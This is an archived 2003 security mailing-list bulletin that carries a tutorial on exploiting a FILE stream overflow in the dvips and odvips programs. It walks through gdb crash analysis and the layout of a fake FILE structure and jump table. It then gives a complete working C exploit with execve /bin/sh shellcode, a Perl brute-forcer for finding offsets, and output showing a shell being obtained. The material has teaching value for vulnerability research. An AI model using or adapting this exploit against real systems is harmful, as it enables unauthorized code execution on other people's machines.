

# [REVS] File Stream Overflows Paper

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-02/0006.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 02/05/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 5 Feb 2003 20:16:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

File Stream Overflows Paper

---

## SUMMARY

This paper written for those that have not ever seen heard or did not know how to exploit a FILE Stream overflow. This paper will explain in detail how to exploit the FILE stream vulnerability in the dvips & odvips utilities.

## DETAILS

Analysis of example FILE Stream overflow vulnerability found in dvips application

```
bash-2.05a$ dvips `perl -e 'print "A" x 2024`
```

This is dvips(k) 5.86 Copyright 1999 Radical Eye Software  
([www.radicaleye.com](http://www.radicaleye.com))

```
dvips: ! DVI file can't be opened.  
Segmentation fault (core dumped)
```

```
bash-2.05a$ cat ./gdb.sh  
#!/bin/sh  
gdb /usr/share/texmf/bin/dvips core
```

```
bash-2.05a$ ./gdb.sh
```

## Securiteam: [REVS] File Stream Overflows Paper

GNU gdb 5.2

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)...

Core was generated by dvips

AA  
AA'

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libm.so.6...done.

Loaded symbols for /lib/libm.so.6

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 \_IO\_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at  
fprintf.c:270

270 fprintf.c: No such file or directory.

in fprintf.c

(gdb) bt

#0 \_IO\_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00)  
at fprintf.c:270

#1 0x4009190a in fprintf (stream=0x41414141, format=0x8069822 "\n")  
at fprintf.c:32

#2 0x0805337f in error ()

#3 0x0804dd07 in strcpy () at ../sysdeps/generic/strcpy.c:31

#4 0x0804dd25 in error ()

#5 0x0804f522 in error ()

#6 0x4005617d in \_\_libc\_start\_main (main=0x804e0f4 <error+988>, argc=2,  
ubp\_av=0xbffff104, init=0x8048e98, fini=0x80668a8 <error+101264>,  
rtld\_fini=0x4000a534 <\_dl\_fini>, stack\_end=0xbffff0fc)  
at ../sysdeps/generic/libc-start.c:129

Using the backtrace we can see that all frames existing in the core file, are known functions, and EIP never got overwritten. However, let us see what registers say in frame 0.

(gdb) info reg

eax 0x41414141 1094795585 <- EAX got overwritten with  
out input

ecx 0x41414141 1094795585 <- same thing here for ECX

edx 0x8069822 134649890 <- format=0x8069822

ebx 0x4015ae58 1075162712

esp 0xbfffe8c8 0xbfffe8c8

ebp 0xbfffeed0 0xbfffeed0

## Securiteam: [REVS] File Stream Overflows Paper

```
esi 0x8068c01 134646785
edi 0x8069822 134649890 <- format here too.
eip 0x400889d4 0x400889d4
```

It seems that the EBP/EIP registers are not overwritten with our input so we have to find a way of tricking them thinking that they are pointing to a valid location.

Therefore, what we have here is a FILE Stream overflow since s=0x41414141 was overwritten with our input. Let us investigate further:

```
(gdb) x/a stdout
0x40158200 <_IO_2_1_stdout_>: 0xfbad2084
The address of the stdout file stream is : 0x40158200, but it would be a
pain cause of
the nulls, so let's look at the stderr address.
(gdb) x/a stderr
0x40158380 <_IO_2_1_stderr_>: 0xfbad2887 that's fine we're going to use
this one since no nulls existing in stderr's stream address. Let us test
it out.
```

```
bash-2.05a$ dvips perl -e 'print "\x80\x83\x15\x40" x 2024'
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
```

```
dvips: ! DVI file can't be opened.
```

```
userdict /end-hook known{end-hook}if
SafetyEnclosure restore
```

Not to our surprise, no segmentation fault, and different output, so it really worked, without even having to align stderr's FILE Stream addresses.

So, how will we get advantage of this situation in order to execute arbitrary code? In these cases, the best solution is to follow the execution flow of the application, and see where you can abuse it. So let us crash the dvips again and have a look at the stderr's FILE Stream structure.

```
bash-2.05a$ dvips `perl -e 'print "A" x 2024`
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
```

```
dvips: ! DVI file can't be opened.
Segmentation fault (core dumped)
bash-2.05a$ ./gdb.sh
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
```

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)...

Core was generated by dvips

AA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libm.so.6...done.

Loaded symbols for /lib/libm.so.6

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 \_IO\_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at  
vfprintf.c:270

270 vfprintf.c: No such file or directory.  
in vfprintf.c

(gdb) x/40x stderr

0x40158380 <\_IO\_2\_1\_stderr\_>: 0xfbad2887 0x401583c7  
0x401583c7 0x401583c7  
0x40158390 <\_IO\_2\_1\_stderr\_+16>: 0x401583c7 0x401583c7  
0x401583c7 0x401583c7  
0x401583a0 <\_IO\_2\_1\_stderr\_+32>: 0x401583c8 0x00000000  
0x00000000 0x00000000  
0x401583b0 <\_IO\_2\_1\_stderr\_+48>: 0x00000000 0x40158200  
0x00000002 0x00000000  
0x401583c0 <\_IO\_2\_1\_stderr\_+64>: 0xffffffff 0x0a000000  
0x40158298 0xffffffff  
0x401583d0 <\_IO\_2\_1\_stderr\_+80>: 0xffffffff 0x00000000  
0x401582c0 0xffffffff  
0x401583e0 <\_IO\_2\_1\_stderr\_+96>: 0x00000000 0x00000000  
0x00000000 0x00000000  
0x401583f0 <\_IO\_2\_1\_stderr\_+112>: 0x00000000 0x00000000  
0x00000000 0x00000000  
0x40158400 <\_IO\_2\_1\_stderr\_+128>: 0x00000000 0x00000000  
0x00000000 0x00000000  
0x40158410 <\_IO\_2\_1\_stderr\_+144>: 0x00000000 0x40157f20  
0x40158380 0x00000000

Now we can see the structure and can get her lenght for later use.

(gdb) p/d (0x40158420 - 0x40158380)  
\$1 = 160

But let's see the really important part now, are there (inside the structure) any jump addresses? So let us have a look:

```
(gdb) x/40a stderr*
0x40158380 <_IO_2_1_stderr_>: 0xfbad2086 0x0 0x0 0x0
0x40158390 <_IO_2_1_stderr_+16>: 0x0 0x0 0x0 0x0
0x401583a0 <_IO_2_1_stderr_+32>: 0x0 0x0 0x0 0x0
0x401583b0 <_IO_2_1_stderr_+48>: 0x0 0x40158200
<_IO_2_1_stdout_> 0x2 0x0
0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0
0x40158298 <_IO_stdfile_2_lock> 0xffffffff
0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x0
0x401582c0 <_IO_wide_data_2> 0x0
0x401583e0 <_IO_2_1_stderr_+96>: 0x0 0x0 0x0 0x0
0x401583f0 <_IO_2_1_stderr_+112>: 0x0 0x0 0x0 0x0
0x40158400 <_IO_2_1_stderr_+128>: 0x0 0x0 0x0 0x0
0x40158410 <_IO_2_1_stderr_+144>: 0x0 0x40157f20
<_IO_file_jumps> 0x40158380 <_IO_2_1_stderr_>
```

Can you see the `_IO_file_jumps` ? This is a pointer to a function.

Theory:

So, here's the plan, we have to create a fake FILE Stream structure with 160 bytes in size filled with the addresses (of the jumptable) that will point to the shellcode that we want to execute.

Therefore, our user input buffer should look like this:

(This is the theory behind most FILE Stream overflows met in real life conditions)

.....<bottom of the user input buffer>.....

[1] {Fake FILE Stream Structure}

(Fake file stream structure is to be filled with the addresses, of the fake jumptable that point to the shellcode.)

Specs:

Size of the Fake FILE Stream Structure: 160Bytes. Been filled with the Addresses pointing to location [2].

[2] {Fake jumptable}

(To be filled with the addresses, of where our shellcode is. Since the EIP is being tricked in this step we make it point to the shellcode location.)

[3] {Shellcode}

(Simple x86 linux `execve` assembly code of `"/bin//sh"` )

[0] {Addresses of the Fake FILE Stream Structure}

(In order to overwrite the File Stream, and make it point to our fake FILE Stream Structure.)

.....<end of the user input buffer>.....

## Securiteam: [REVS] File Stream Overflows Paper

As you can see this theory does not differ much from common buffer overflow exploits. It is just uses 2 steps more for tricking the application thinking it uses a valid FILE Stream, and finally to get the EIP register tricked into pointing to the shellcode.

Now, based to this theory let us try to construct the exploit to demonstrate that it can be really done.

The exploit:

Here is the sample FILE Stream overflow exploit that affects dvips & odvips applications.

NOTE: This exploit could be much more robust and independent, but the purpose here is just to show the simple and straightforward way of doing it.

NOTE: This process is taking place under Slackware Linux 8.1, so if you are making the test under different distribution or even OS, there you should tweak some things by yourself, but that is all.

Just look on the code, it should be very easy to understand.

```
-----dvips-ex.c-----
/*
 * FILE Stream overflow exploit for
 * This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
 *
-----
 *
 * "As always exploitation should be an art..."
 * version 0.3 much more automated.
 *
 * (c) 2k3 killah @ hack . gr
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define VERSION "0.3"
#define SIZE 3048

char shellcode[]= /* linux x86 execve of "/bin//sh" */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52"
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int
main(int argc,char *argv[])
{
```

```

char buffer[4000];
int align,offset,pad,i;
long ffss_addr=0xbfffeccc, jmpaddr, shaddr;
if(argc!=4)
{
    fprintf(stderr, " FILE Stream Overflow exploit for dvips ver%s\n"
        "Usage : %s <align> <offset> <pad>\n"
        "\tCopyright 2k3 killah @ hack . gr\n",VERSION,argv[0]);
    exit(-1);
}

align=atoi(argv[1]);
offset=atoi(argv[2]);
pad=atoi(argv[3]);

ffss_addr += offset; // fake FILE Stream Structure Address
jmpaddr = (ffss_addr+160); // 40 times
shaddr = (jmpaddr+32); // 8 times

fprintf(stderr, " fake FILE Stream Structure Address : [0x%x]\n"
    " Jump-Table Address\t\t: [0x%x]\n"
    " Shellcode Address\t\t: [0x%x]\n"
    " align = [%d] | offset = [%d] | padding =
[%d]\n",ffss_addr,jmpaddr,shaddr,align,offset,pad);

/* align the buffer */
for(i=0; i<align; i++)
    buffer[i]=0x42;
/* pad the buffer */
for(i=align; i<pad+align; i++)
    buffer[i]=0x41;
/* create the ffss section (Fake File Stream Structure) */
for(i=pad+align; i<align+160; i+=4)
    *(long *)&buffer[i]=jmpaddr;
/* making the fake jump table */
for(i=align+160; i<align+160+32; i+=4)
    *(long *)&buffer[i]=shaddr;
/* copy the shellcode into the buffer */
memcpy(buffer+align+160+32,shellcode,strlen(shellcode));

/* fill the rest of the buffer with the fake FILE Stream Structure *
* addresses so as to be overwritten and start the whole process */

for(i=strlen(shellcode)+160+32+align; i<SIZE+align; i+=4)
    *(long *)&buffer[i]=ffss_addr;

execl("/usr/share/texmf/bin/dvips", "dvips", buffer, NULL);
exit(0);
}

```

-----dvips-ex.c-----EOF

For those that are bored using gdb each time for getting the address of the fake FILE Stream structure, or the offset, herein is a lame brute.pl script.

```

-----brute.pl-----
#!/usr/bin/perl
$MIN=-1000;
$MAX=1000;
while($MIN<$MAX)
{
    printf(" offset : $MIN \n");
    system("./dviex 0 $MIN 3");
    $MIN++;
}
-----brute.pl-----EOF

```

We found the fake FILE Stream Structure Address @ offset : -161

```

fake FILE Stream Structure Address : [0xbfffee2b]
Jump-Table Address : [0xbfffeecb]
Shellcode Address : [0xbfffeeeb]
align = [0] | offset = [-161] | padding = [3]
This is dvips(k) 5.86 Copyright 1999 Radical Eye Software
(www.radicaleye.com)
dvips: ! DVI file can't be opened.
sh-2.05a$

```

ADDITIONAL INFORMATION

The information has been provided by <mailto:[killah@hack.gr](mailto:killah@hack.gr)> killah.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
 To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
 In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
 In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.